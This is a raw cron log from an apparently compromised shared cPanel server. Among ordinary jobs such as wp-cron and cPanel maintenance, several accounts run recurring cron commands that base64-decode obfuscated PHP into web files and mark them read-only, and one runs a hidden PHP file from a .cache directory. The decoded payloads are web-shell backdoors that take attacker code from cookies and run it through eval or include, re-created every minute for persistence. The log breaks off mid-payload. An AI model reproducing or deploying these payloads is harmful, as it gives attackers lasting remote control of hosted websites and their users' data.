Mar  1 17:47:02 medusa CROND[27091]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:47:02 medusa CROND[27095]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 17:47:02 medusa CROND[27097]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:47:02 medusa CROND[27100]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 17:47:02 medusa CROND[27101]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:47:02 medusa CROND[27102]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Mar  1 17:47:02 medusa CROND[27122]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 17:48:02 medusa CROND[18633]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:48:02 medusa CROND[18634]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 17:48:02 medusa CROND[18636]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:48:02 medusa CROND[18637]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 17:48:02 medusa CROND[18638]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 17:48:02 medusa CROND[18640]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 17:48:02 medusa CROND[18641]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:48:02 medusa CROND[18639]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 17:48:02 medusa CROND[18635]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 17:48:02 medusa CROND[18642]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 17:48:02 medusa CROND[18643]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:48:02 medusa CROND[18650]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 17:48:02 medusa CROND[18651]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 17:49:01 medusa CROND[9141]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 17:49:01 medusa CROND[9199]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 17:49:01 medusa CROND[9201]: (root) CMD (   /usr/local/cpanel/bin/autossl_check --all)
Mar  1 17:49:01 medusa CROND[9202]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 17:49:01 medusa CROND[9203]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:49:01 medusa CROND[9204]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 17:49:01 medusa CROND[9205]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 17:49:01 medusa CROND[9206]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 17:49:01 medusa CROND[9200]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 17:49:01 medusa CROND[9215]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 17:49:01 medusa CROND[9217]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:49:01 medusa CROND[9218]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2